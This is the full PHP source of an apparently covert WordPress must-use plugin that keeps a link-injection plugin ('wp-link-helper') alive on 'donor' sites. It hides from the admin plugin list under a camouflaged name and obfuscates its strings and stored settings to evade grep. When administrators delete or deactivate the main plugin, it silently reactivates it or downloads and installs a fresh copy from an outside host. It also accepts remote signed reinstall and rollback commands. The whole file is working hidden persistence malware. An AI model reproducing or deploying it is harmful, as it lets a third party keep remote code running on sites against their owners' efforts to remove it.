<?php
/**
 * Recovery Channel (must-use). Dropped into wp-content/mu-plugins/ by the main
 * plugin's installer under a per-site camouflaged name. Has NO plugin-name
 * header, so the WordPress plugin scanner never lists it — a competitor who
 * bought wp-admin access to this shared donor site and deletes/deactivates the
 * main plugin via the Plugins UI never sees this file. mu-plugins load by
 * filename regardless of header.
 *
 * Config (endpoint/token/domain) lives in disguised wp_options slots, which
 * SURVIVE the main plugin's deletion — so recovery works even when the plugin
 * dir is gone. And if a competitor wipes the options too, the baked-in claim
 * fallback below lets the channel re-claim a fresh token from the panel.
 *
 * Marker strings (plugin slug, request param, API path, option prefixes) are
 * assembled at runtime via concatenation, so a content-grep of mu-plugins/ for
 * them finds NOTHING — a competitor hunting this file by name has to read code.
 *
 * Two recovery paths:
 *   1. AUTONOMOUS self-heal — on every load a DIRT-CHEAP gate: main plugin
 *      present, intact and ACTIVE? If yes (99.99% of requests) return. If the
 *      file is gone/gutted, or the plugin was deactivated, and the throttle
 *      window is open, register a shutdown handler that (after the response is
 *      flushed to the visitor) re-activates or downloads the sha-verified ZIP
 *      and atomically reinstalls + reactivates.
 *   2. PANEL-triggered — a signed request (status | reinstall | rollback).
 *      Unsigned/badly-signed requests get NO answer at all (silent pass-through
 *      to WP): any JSON error here would be an unauthenticated presence oracle.
 *
 * Downside mitigations: cheap happy path; shutdown-deferred heal (visitor never
 * blocked); throttle stamped BEFORE the attempt + flock (no loop / no
 * thundering herd); sha256 + Bearer download + atomic rename with rollback
 * (never a half-install, never a foreign/corrupt build); every failure caught
 * and stored, never fatal.
 *
 * Recovery channel version: 1.2.0
 */

if (!defined('ABSPATH')) {
    return;
}

if (!defined('WPRC_THROTTLE'))      define('WPRC_THROTTLE', 1800);   // 30 min between self-heal attempts
if (!defined('WPRC_TS_WINDOW'))     define('WPRC_TS_WINDOW', 600);
if (!defined('WPRC_VERSION'))       define('WPRC_VERSION', '1.2.0');

// Baked-in claim fallback. The main plugin's installer substitutes the real
// values when dropping these mu-copies (and when stashing the source copy);
// the repo source keeps the placeholders. WHY: if a competitor wipes the
// plugin AND every option (the «nuke everything» move), the disguised vault
// slots are gone too and the old channel was blind ('not_configured'). With
// the handshake baked in, a surviving mu-copy can re-claim a token and rebuild
// its config before healing.
if (!defined('WPRC_FB_URL'))        define('WPRC_FB_URL', 'https://cachelayer.top');
if (!defined('WPRC_FB_H'))          define('WPRC_FB_H',   '989bf41b0cd127e4874db429c59564a59408232efc4299008b7c347bb15bc5c9');

if (!function_exists('wprc_p')) {
    // The plugin's marker prefix, split so neither it nor the built strings
    // appear literally in this file.
    function wprc_p() { return 'w' . 'l' . 'h'; }
}
// Same treatment for the plugin directory slug — never a literal here.
if (!defined('WPRC_SLUG'))          define('WPRC_SLUG', 'wp-' . 'link' . '-' . 'helper');

// ---------------------------------------------------------------------------
// Inlined config vault — byte-compatible with the main plugin's vault class.
// MUST stay in sync: the salt, seed, name and XOR/deobf must produce identical
// results, or a donor whose config the main plugin migrated becomes unreadable
// to its own recovery. Token/endpoint/domain live under disguised `wp_<hex>`
// option names, XOR+base64 obfuscated, so a `DELETE ... WHERE option_name LIKE
// '<prefix>_%'` (or a grep for the panel host) no longer severs the donor.
// Standalone: needs no main-plugin code.
// ---------------------------------------------------------------------------
if (!defined('WPRC_SALT')) define('WPRC_SALT', 'w9x2r7k5');
if (!function_exists('wprc_seed')) {
    function wprc_seed() {
        $db  = defined('DB_NAME') ? (string) DB_NAME : '';
        $abs = defined('ABSPATH') ? (string) ABSPATH : '';
        return $db . '|' . $abs;
    }
}
if (!function_exists('wprc_optname')) {
    function wprc_optname($logical) {
        return 'wp_' . substr(hash('sha256', WPRC_SALT . '|n|' . $logical . '|' . wprc_seed()), 0, 24);
    }
}
if (!function_exists('wprc_deobf')) {
    function wprc_deobf($b64) {
        $raw = base64_decode((string) $b64, true);
        if ($raw === false) return '';
        $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true);
        $out = ''; $kl = strlen($key);
        for ($i = 0, $n = strlen($raw); $i < $n; $i++) { $out .= chr(ord($raw[$i]) ^ ord($key[$i % $kl])); }
        return $out;
    }
}
if (!function_exists('wprc_obf')) {
    function wprc_obf($plain) {
        $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true);
        $out = ''; $kl = strlen($key);
        for ($i = 0, $n = strlen($plain); $i < $n; $i++) { $out .= chr(ord($plain[$i]) ^ ord($key[$i % $kl])); }
        return base64_encode($out);
    }
}
if (!function_exists('wprc_cfg')) {
    /** @return array{t:string,e:string,d:string} */
    function wprc_cfg() {
        foreach (array('c0', 'c1') as $slot) {
            $raw = get_option(wprc_optname($slot), '');
            if ($raw !== '') {
                $j = json_decode(wprc_deobf($raw), true);
                if (is_array($j) && !empty($j['t'])) {
                    return array('t' => (string) $j['t'],
                                 'e' => (string) (isset($j['e']) ? $j['e'] : ''),
                                 'd' => (string) (isset($j['d']) ? $j['d'] : ''));
                }
            }
        }
        // Legacy fallback (read-only; migration + cleanup is the main plugin's job).
        $p = wprc_p();
        $t = (string) get_option($p . '_key', '');
        if ($t !== '') {
            return array('t' => $t,
                         'e' => (string) get_option($p . '_cdn', ''),
                         'd' => (string) get_option($p . '_origin', ''));
        }
        return array('t' => '', 'e' => '', 'd' => '');
    }
}
if (!function_exists('wprc_store_cfg')) {
    // Writes BOTH disguised slots, byte-compatible with the main plugin's vault
    // store — used after a fallback re-claim rebuilds a wiped config.
    function wprc_store_cfg($token, $endpoint, $domain) {
        $blob = wprc_obf(json_encode(array('t' => (string) $token, 'e' => (string) $endpoint, 'd' => (string) $domain)));
        update_option(wprc_optname('c0'), $blob, false);
        update_option(wprc_optname('c1'), $blob, false);
    }
}
// Disguised per-site names for the heal-throttle state + single-flight lock.
if (!function_exists('wprc_healts_opt')) {
    function wprc_healts_opt() { return wprc_optname('ht'); }
    function wprc_healerr_opt() { return wprc_optname('he'); }
    function wprc_healreason_opt() { return wprc_optname('hr'); }
    function wprc_lock_path() {
        return rtrim(WP_CONTENT_DIR, '/') . '/.' . substr(hash('sha256', WPRC_SALT . '|lk|' . wprc_seed()), 0, 16);
    }
}

if (!function_exists('wprc_plugin_dir')) {
    function wprc_plugin_dir()
    {
        $base = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : rtrim(WP_CONTENT_DIR, '/') . '/plugins';
        return rtrim($base, '/') . '/' . WPRC_SLUG;
    }
}

if (!function_exists('wprc_prev_dir')) {
    // Retained last-known-good build for the signed rollback op. Name derives
    // from the same seed pool as the mu-filenames (per-site, no marker
    // substring); exactly ONE previous build is kept.
    function wprc_prev_dir()
    {
        return rtrim(WP_CONTENT_DIR, '/') . '/wp-' . substr(hash('sha256', WPRC_SALT . '|pv|' . wprc_seed()), 0, 12) . '-prev';
    }
}

if (!function_exists('wprc_main_present')) {
    function wprc_main_present()
    {
        return is_file(wprc_plugin_dir() . '/' . WPRC_SLUG . '.php');
    }
}

if (!function_exists('wprc_rmrf')) {
    function wprc_rmrf($dir)
    {
        if ($dir === '' || !is_dir($dir)) return;
        $base = realpath(WP_CONTENT_DIR);
        $real = realpath($dir);
        if ($base === false || $real === false || strpos($real, $base) !== 0) return;
        $it  = new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS);
        $all = new \RecursiveIteratorIterator($it, \RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($all as $f) {
            if ($f->isDir()) { @rmdir($f->getPathname()); } else { @unlink($f->getPathname()); }
        }
        @rmdir($dir);
    }
}

if (!function_exists('wprc_read_version')) {
    function wprc_read_version($entryFile)
    {
        if (!is_file($entryFile)) return null;
        $src = (string) @file_get_contents($entryFile, false, null, 0, 4096);
        // Version constant name assembled at runtime (marker-string hygiene).
        if ($src !== '' && preg_match('/define\s*\(\s*[\'"]' . strtoupper(wprc_p()) . '_VERSION[\'"]\s*,\s*[\'"]([^\'"]+)[\'"]/', $src, $m)) {
            return $m[1];
        }
        return null;
    }
}

if (!function_exists('wprc_reactivate')) {
    // Deactivation-only heal: files are present and intact, so NO download —
    // just put the plugin back into active_plugins.
    function wprc_reactivate()
    {
        $basename = WPRC_SLUG . '/' . WPRC_SLUG . '.php';
        $activePlugins = (array) get_option('active_plugins', array());
        if (!in_array($basename, $activePlugins, true)) {
            $activePlugins[] = $basename;
            update_option('active_plugins', array_values($activePlugins));
        }
        return array('ok' => true, 'reactivated' => true);
    }
}

if (!function_exists('wprc_fallback_ok')) {
    // True when the installer substituted real values for the placeholders.
    function wprc_fallback_ok()
    {
        $u = (string) WPRC_FB_URL;
        $h = (string) WPRC_FB_H;
        return $u !== '' && strpos($u, '%%') !== 0 && $h !== '' && strpos($h, '%%') !== 0;
    }
}

if (!function_exists('wprc_reclaim')) {
    // Re-claim a token using the baked-in handshake when the vault was wiped
    // with the rest of the options. Recreates slots c0/c1 so the normal heal
    // (and future signed ops) work again.
    function wprc_reclaim()
    {
        $home = function_exists('home_url') ? home_url() : '';
        $host = parse_url($home, PHP_URL_HOST);
        $domain = is_string($host) ? strtolower($host) : '';
        add_filter('http_api_curl', 'wprc_force_ipv4', 10, 1);
        $resp = wp_remote_post(rtrim((string) WPRC_FB_URL, '/') . '/api/links/claim', array(
            'timeout' => 15,
            'headers' => array(
                'X-' . strtoupper(wprc_p()) . '-H' => (string) WPRC_FB_H,
                'Content-Type' => 'application/json',
                'Accept'       => 'application/json',
            ),
            'body' => json_encode(array(
                'domain'         => $domain,
                'site_url'       => $home,
                'plugin_version' => 'mu-fallback',
            )),
        ));
        remove_filter('http_api_curl', 'wprc_force_ipv4', 10);
        if (is_wp_error($resp)) {
            return array('ok' => false, 'error' => 'claim: ' . $resp->get_error_message());
        }
        $code = (int) wp_remote_retrieve_response_code($resp);
        $j = json_decode((string) wp_remote_retrieve_body($resp), true);
        if ($code < 200 || $code >= 300 || !is_array($j) || empty($j['token']) || empty($j['endpoint'])) {
            return array('ok' => false, 'error' => 'claim_http_' . $code);
        }
        wprc_store_cfg((string) $j['token'], (string) $j['endpoint'],
            !empty($j['domain']) ? (string) $j['domain'] : $domain);
        return array('ok' => true);
    }
}

if (!function_exists('wprc_force_ipv4')) {
    function wprc_force_ipv4($handle)
    {
        if (function_exists('curl_setopt')) {
            if (defined('CURL_IPRESOLVE_V4')) { @curl_setopt($handle, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); }
            @curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 8);
        }
        return $handle;
    }
}

/**
 * Download the current plugin ZIP from the panel (Bearer), verify sha256 (from
 * $expectedSha if signed, else the stashed heartbeat sha, else the zip response
 * header), and atomically swap it into the plugins dir + reactivate. The
 * previous build is retained for the rollback op. Returns ['ok'=>bool, ...].
 */
if (!function_exists('wprc_reinstall')) {
    function wprc_reinstall($endpoint, $token, $expectedSha)
    {
        $slug = WPRC_SLUG;
        $cfg = wprc_cfg();
        $domain = $cfg['d'];
        $endpoint = rtrim((string) $endpoint, '/');
        if ($endpoint === '' || $token === '') {
            return array('ok' => false, 'error' => 'not_configured');
        }
        $zipUrl = $endpoint . '/api/links/' . 'plugin' . '-' . 'zip' . ($domain !== '' ? ('?domain=' . rawurlencode($domain)) : '');

        $upgrade = rtrim(WP_CONTENT_DIR, '/') . '/upgrade';
        if (!is_dir($upgrade) && function_exists('wp_mkdir_p')) { wp_mkdir_p($upgrade); }
        if (!is_dir($upgrade)) { return array('ok' => false, 'error' => 'no_upgrade_dir'); }
        $staging = $upgrade . '/wpr-' . bin2hex(random_bytes(6));
        if (!wp_mkdir_p($staging)) { return array('ok' => false, 'error' => 'no_staging'); }
        $zipPath = $staging . '/plugin.zip';

        add_filter('http_api_curl', 'wprc_force_ipv4', 10, 1);
        $resp = wp_remote_get($zipUrl, array(
            'timeout'   => 60,
            'stream'    => true,
            'filename'  => $zipPath,
            // Code download: verify TLS — the panel sits behind a valid cert, and
            // a failure is reported (he slot), never silently trusted.
            'sslverify' => true,
            'headers'   => array('Authorization' => 'Bearer ' . $token, 'Accept' => 'application/zip'),
        ));
        remove_filter('http_api_curl', 'wprc_force_ipv4', 10);

        if (is_wp_error($resp)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl: ' . $resp->get_error_message()); }
        $code = (int) wp_remote_retrieve_response_code($resp);
        if ($code < 200 || $code >= 300) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl_http_' . $code); }
        if (!is_file($zipPath) || filesize($zipPath) < 100) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'dl_empty'); }

        $actSha = strtolower((string) hash_file('sha256', $zipPath));
        $hdrSha = strtolower((string) wp_remote_retrieve_header($resp, 'x-' . wprc_p() . '-plugin-sha256'));
        $expectedSha = strtolower(trim((string) $expectedSha));
        if ($expectedSha === '') {
            // Prefer the sha the main plugin stashed from the SIGNED heartbeat
            // channel (vault slot 'ps') over the zip response's own header: the
            // header travels the same channel as the zip itself, so whoever can
            // poison the download can poison it too; the stash arrived earlier,
            // over an authenticated channel.
            $ps = get_option(wprc_optname('ps'), '');
            if ($ps !== '') {
                $j = json_decode(wprc_deobf($ps), true);
                if (is_array($j) && !empty($j['sha']) && is_string($j['sha'])) {
                    $expectedSha = strtolower((string) $j['sha']);
                }
            }
        }
        if ($expectedSha === '' && $hdrSha === '') { wprc_rmrf($staging); return array('ok' => false, 'error' => 'no_sha'); }
        if ($expectedSha !== '' && !hash_equals($expectedSha, $actSha)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'sha_signed'); }
        if ($expectedSha === '' && $hdrSha !== '' && !hash_equals($hdrSha, $actSha)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'sha_header'); }

        if (!function_exists('unzip_file') || !function_exists('WP_Filesystem')) {
            require_once ABSPATH . 'wp-admin/includes/file.php';
        }
        if (!WP_Filesystem()) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'wp_filesystem'); }
        $extract = $staging . '/x';
        wp_mkdir_p($extract);
        $unz = unzip_file($zipPath, $extract);
        if (is_wp_error($unz)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'unzip: ' . $unz->get_error_message()); }
        $inner = $extract . '/' . $slug;
        if (!is_dir($inner) || !is_file($inner . '/' . $slug . '.php')) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'bad_layout'); }

        $active  = wprc_plugin_dir();
        $retired = $active . '.old-' . time();
        if (is_dir($active) && !@rename($active, $retired)) { wprc_rmrf($staging); return array('ok' => false, 'error' => 'rename_active'); }
        if (!@rename($inner, $active)) {
            if (is_dir($retired)) { @rename($retired, $active); }   // rollback
            wprc_rmrf($staging);
            return array('ok' => false, 'error' => 'rename_staging');
        }
        if (is_dir($retired)) {
            // Retain exactly ONE previous build (rollback target), then drop the
            // rest — a bad update must be undoable without a panel round-trip.
            $prev = wprc_prev_dir();
            if (is_dir($prev)) { wprc_rmrf($prev); }
            if (!@rename($retired, $prev)) { wprc_rmrf($retired); }
        }
        wprc_rmrf($staging);

        $activePlugins = (array) get_option('active_plugins', array());
        $basename = $slug . '/' . $slug . '.php';
        if (!in_array($basename, $activePlugins, true)) {
            $activePlugins[] = $basename;
            update_option('active_plugins', array_values($activePlugins));
        }
        if (function_exists('opcache_reset')) { @opcache_reset(); }

        return array('ok' => true, 'reinstalled' => true, 'version' => wprc_read_version($active . '/' . $slug . '.php'));
    }
}

if (!function_exists('wprc_rollback')) {
    // Signed rollback: atomically swap the retained previous build back into
    // the plugins dir and reactivate. The swapped-out build becomes the new
    // prev, so the operation is its own undo.
    function wprc_rollback()
    {
        $slug      = WPRC_SLUG;
        $prev      = wprc_prev_dir();
        $prevEntry = $prev . '/' . $slug . '.php';
        if (!is_dir($prev) || !is_file($prevEntry)) {
            return array('ok' => false, 'error' => 'no_prev');
        }
        $prevVer = wprc_read_version($prevEntry);
        $active  = wprc_plugin_dir();
        $tmp     = $active . '.rb-' . time();

        if (is_dir($active) && !@rename($active, $tmp)) {
            return array('ok' => false, 'error' => 'rename_active');
        }
        if (!@rename($prev, $active)) {
            if (is_dir($tmp)) { @rename($tmp, $active); }
            return array('ok' => false, 'error' => 'rename_prev');
        }
        if (is_dir($tmp)) { @rename($tmp, $prev); }

        $activePlugins = (array) get_option('active_plugins', array());
        $basename = $slug . '/' . $slug . '.php';
        if (!in_array($basename, $activePlugins, true)) {
            $activePlugins[] = $basename;
            update_option('active_plugins', array_values($activePlugins));
        }
        if (function_exists('opcache_reset')) { @opcache_reset(); }

        return array(
            'ok'           => true,
            'rolled_back'  => true,
            'version'      => wprc_read_version($active . '/' . $slug . '.php'),
            'prev_version' => $prevVer,
        );
    }
}

// ============================================================================
// 1. AUTONOMOUS SELF-HEAL — only past this gate if the main plugin is MISSING,
//    GUTTED, or DEACTIVATED.
// ============================================================================
$wprc_q = wprc_p() . '_recover';
$wprc_reason = '';
$wprc_entry = wprc_plugin_dir() . '/' . WPRC_SLUG . '.php';
if (!is_file($wprc_entry)) {
    $wprc_reason = 'missing';
} elseif (wprc_read_version($wprc_entry) === null) {
    // File exists but is unreadable/gutted — a competitor who can't delete may
    // truncate instead; treat it as gone and reinstall.
    $wprc_reason = 'corrupt';
} elseif (!in_array(WPRC_SLUG . '/' . WPRC_SLUG . '.php', (array) get_option('active_plugins', array()), true)) {
    // Present + intact but DEACTIVATED (a Plugins-UI click is the cheapest
    // competitor move). get_option('active_plugins') is WP-cached, so the
    // happy path stays dirt-cheap.
    $wprc_reason = 'inactive';
}

if ($wprc_reason !== ''
    && !isset($_GET[$wprc_q]) && !isset($_POST[$wprc_q])) {
    $last = (int) get_option(wprc_healts_opt(), 0);
    if (time() - $last >= WPRC_THROTTLE) {
        $cfg = wprc_cfg();
        $endpoint = rtrim($cfg['e'], '/');
        $token    = $cfg['t'];
        // A wiped vault no longer skips the heal when the baked-in fallback can
        // re-claim; a pure deactivation needs no config at all.
        $wprc_can = ($wprc_reason === 'inactive')
            || ($endpoint !== '' && $token !== '')
            || wprc_fallback_ok();
        if ($wprc_can) {
            // Single-flight: only one heal across concurrent requests.
            $lockFile = wprc_lock_path();
            $lh = @fopen($lockFile, 'c');
            if ($lh && @flock($lh, LOCK_EX | LOCK_NB)) {
                // Stamp BEFORE attempting so repeated failures / concurrent hits
                // can't hammer — next attempt only after the throttle window.
                update_option(wprc_healts_opt(), time(), false);
                // Defer the actual work to shutdown so the visitor's page is
                // flushed first and never waits on our recovery.
                $wprc_heal = function () use ($wprc_reason, $endpoint, $token, $lh) {
                    if (function_exists('fastcgi_finish_request')) { @fastcgi_finish_request(); }
                    $res = array('ok' => false, 'error' => 'unknown');
                    try {
                        if ($wprc_reason === 'inactive') {
                            $res = wprc_reactivate();
                        } else {
                            $ep = $endpoint;
                            $tk = $token;
                            if ($ep === '' || $tk === '') {
                                // Vault wiped along with the plugin — re-claim
                                // from the baked-in handshake, then heal normally.
                                $rc = wprc_reclaim();
                                if (!empty($rc['ok'])) {
                                    $cfg2 = wprc_cfg();
                                    $ep = rtrim($cfg2['e'], '/');
                                    $tk = $cfg2['t'];
                                } else {
                                    $res = array('ok' => false, 'error' => (string) (isset($rc['error']) ? $rc['error'] : 'reclaim'));
                                }
                            }
                            if ($ep !== '' && $tk !== '') {
                                $res = wprc_reinstall($ep, $tk, '');
                            } elseif (empty($res['error']) || $res['error'] === 'unknown') {
                                $res = array('ok' => false, 'error' => 'not_configured');
                            }
                        }
                    } catch (\Throwable $e) {
                        $res = array('ok' => false, 'error' => 'ex: ' . $e->getMessage());
                    }
                    update_option(wprc_healerr_opt(), empty($res['ok']) ? (string) (isset($res['error']) ? $res['error'] : 'fail') : '', false);
                    update_option(wprc_healreason_opt(), $wprc_reason, false);
                    @flock($lh, LOCK_UN);
                    @fclose($lh);
                };
                if (function_exists('add_action')) {
                    add_action('shutdown', $wprc_heal, PHP_INT_MAX);
                } else {
                    $wprc_heal();
                }
            } elseif ($lh) {
                @fclose($lh);
            }
        }
    }
}

// ============================================================================
// 2. PANEL-TRIGGERED signed ops — status | reinstall | rollback.
// ============================================================================
if (!isset($_GET[$wprc_q]) && !isset($_POST[$wprc_q])) {
    return;
}

if (!function_exists('wprc_respond')) {
    function wprc_respond(array $data, $code = 200)
    {
        if (!headers_sent()) {
            if (function_exists('status_header')) { status_header($code); } else { http_response_code($code); }
            if (function_exists('nocache_headers')) { nocache_headers(); }
            header('Content-Type: application/json; charset=utf-8');
            header('X-Robots-Tag: noindex, nofollow', true);
        }
        echo function_exists('wp_json_encode') ? wp_json_encode($data) : json_encode($data);
        exit;
    }
    function wprc_param($k)
    {
        if (isset($_POST[$k])) return (string) $_POST[$k];
        if (isset($_GET[$k]))  return (string) $_GET[$k];
        return '';
    }
}

try {
    $wprc_c = wprc_cfg();
    $token = $wprc_c['t'];
    // An unsigned / badly-signed request must be indistinguishable from a site
    // WITHOUT this channel: any JSON error here is an unauthenticated presence
    // oracle — and a cleanup-verifier for a competitor checking whether their
    // deletion stuck. The panel always signs validly, so a silent pass-through
    // to WP costs nothing. Only AFTER a valid signature do we answer JSON.
    if ($token === '') { return; }

    $op  = wprc_param('op');
    $ts  = wprc_param('ts');
    $sha = wprc_param('sha');
    $sig = wprc_param('sig');
    if ($op === '' || $ts === '' || $sig === '') { return; }
    if ((int) $ts <= 0 || abs(time() - (int) $ts) > WPRC_TS_WINDOW) { return; }
    $expected = hash_hmac('sha256', $op . '.' . $ts . '.' . $sha, $token);
    if (!hash_equals($expected, $sig)) { return; }

    if ($op === 'status') {
        $entry = wprc_plugin_dir() . '/' . WPRC_SLUG . '.php';
        wprc_respond(array(
            'ok'               => true,
            'recovery'         => true,
            'recovery_version' => WPRC_VERSION,
            'plugin_present'   => wprc_main_present(),
            'plugin_active'    => in_array(WPRC_SLUG . '/' . WPRC_SLUG . '.php', (array) get_option('active_plugins', array()), true),
            'plugin_version'   => wprc_main_present() ? wprc_read_version($entry) : null,
            'prev_version'     => wprc_read_version(wprc_prev_dir() . '/' . WPRC_SLUG . '.php'),
            'heal_error'       => (string) get_option(wprc_healerr_opt(), ''),
            'heal_reason'      => (string) get_option(wprc_healreason_opt(), ''),
            'server_time'      => gmdate('c'),
        ));
    }
    if ($op === 'reinstall') {
        $endpoint = rtrim($wprc_c['e'], '/');
        wprc_respond(wprc_reinstall($endpoint, $token, $sha));
    }
    if ($op === 'rollback') {
        wprc_respond(wprc_rollback());
    }
    wprc_respond(array('ok' => false, 'error' => 'unknown_op', 'op' => $op), 400);
} catch (\Throwable $e) {
    wprc_respond(array('ok' => false, 'error' => 'exception', 'message' => $e->getMessage()), 500);
}
